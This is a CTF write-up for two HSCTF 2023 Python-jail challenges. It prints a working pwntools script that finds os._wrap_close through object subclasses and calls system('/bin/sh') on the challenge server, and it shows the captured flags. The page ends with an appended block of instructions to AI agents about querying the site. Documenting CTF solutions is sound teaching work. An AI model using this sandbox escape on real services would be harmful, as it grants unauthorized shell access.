> For the complete documentation index, see [llms.txt](https://kos0ng.gitbook.io/ctfs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kos0ng.gitbook.io/ctfs/write-up/2023/hsctf/misc.md).

# Misc

| Challenge                   | Link                               |
| --------------------------- | ---------------------------------- |
| fast-forward (26 solves)    | [Here](#fast-forward-26-solves)    |
| fast-forward-v2 (22 solves) | [Here](#fast-forward-v2-22-solves) |

## fast-forward (26 solves)

### Description

Everyone always says Python is too slow—so let's speed it up!

`nc fast-forward.hsctf.com 1337`

### Solution

In this case, i just focused about function or variable limitation. Through trial and error i found that lambda can "hide" function name and variable name.

<figure><img src="/files/2DJj8Tay5a5L7k9gZ6mz" alt=""><figcaption></figcaption></figure>

To solve this challenge i use lambda to find out `class` and `function` that we can use for RCE. In this case we can found there is `os._wrap_close` by enumerating each index in subclasses. Here is the script i used to automate the process and trigger shell.

```python
from pwn import *

def send(data):
	r.recvuntil(b'> ')
	r.sendline(data)
	return r.recvline()

def exploit():
	payload = "print('_wrap_close' in (lambda: str((1).__class__.__base__.__subclasses__()[{}]))())"
	for i in range(0xff):
		resp = send(format_leak(payload.format(i)))
		print(i, resp)
		if(resp.strip() == b'True'):
			break
	payload = f"(lambda: print((1).__class__.__base__.__subclasses__()[{i}].__init__.__globals__['system']('/bin/sh')))()"
	r.recvuntil(b'> ')
	r.sendline(payload.encode())

r = remote("fast-forward.hsctf.com", 1337)
exploit()
r.interactive()
```

<figure><img src="/files/ivuZP1JWHDqo0rNHXZSh" alt=""><figcaption></figcaption></figure>

Flag : flag{it\_would\_be\_a\_shame\_if\_there\_were\_a\_bunch\_of\_numbers\_at\_the\_end\_2846880189}

## fast-forward-v2 (22 solves)

### Description

I made Python even faster than before!

`nc fast-forward-v2.hsctf.com 1337`

### Solution

For fast-forward-v2 i used the same exploit as fast-forward :>

<figure><img src="/files/ywULTkveSwvqSorrGWFx" alt=""><figcaption></figcaption></figure>

Flag : flag{one\_day\_i\_will\_write\_a\_pyjail\_without\_unintended\_solutions\_3421670241}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kos0ng.gitbook.io/ctfs/write-up/2023/hsctf/misc.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
